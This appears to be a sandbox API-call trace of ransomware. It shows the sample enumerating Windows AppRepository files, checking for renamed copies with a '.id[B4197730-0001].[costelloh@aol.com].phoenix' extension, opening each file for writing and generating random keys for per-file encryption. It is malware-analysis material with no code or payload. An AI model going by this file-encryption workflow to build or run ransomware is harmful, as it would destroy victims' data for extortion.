	[0230.116] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.116] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=15277) returned 1
	[0230.116] CloseHandle (hObject=0x2f0) returned 1
	[0230.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.116] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.7906.42257.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.116] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.116] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.116] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=843) returned 1
	[0230.117] CloseHandle (hObject=0x2f0) returned 1
	[0230.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.117] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.117] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.117] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.117] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=843) returned 1
	[0230.117] CloseHandle (hObject=0x2f0) returned 1
	[0230.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.118] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.118] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.118] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.118] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18619) returned 1
	[0230.118] CloseHandle (hObject=0x2f0) returned 1
	[0230.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.118] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.118] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.118] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.119] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8199) returned 1
	[0230.119] CloseHandle (hObject=0x2f0) returned 1
	[0230.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.119] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.119] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16621) returned 1
	[0230.119] CloseHandle (hObject=0x2f0) returned 1
	[0230.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.120] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.120] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.120] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=837) returned 1
	[0230.120] CloseHandle (hObject=0x2f0) returned 1
	[0230.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.120] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.120] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.120] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.120] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18199) returned 1
	[0230.121] CloseHandle (hObject=0x2f0) returned 1
	[0230.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.121] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.121] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=839) returned 1
	[0230.121] CloseHandle (hObject=0x2f0) returned 1
	[0230.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.121] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.122] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=839) returned 1
	[0230.122] CloseHandle (hObject=0x2f0) returned 1
	[0230.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.122] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.122] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.122] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.122] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=15105) returned 1
	[0230.122] CloseHandle (hObject=0x2f0) returned 1
	[0230.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.345] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.347] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0230.347] CloseHandle (hObject=0x2f0) returned 1
	[0230.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat")) returned 0x20
	[0230.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.347] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.347] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.347] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.355] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0230.355] CloseHandle (hObject=0x2f0) returned 1
	[0230.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
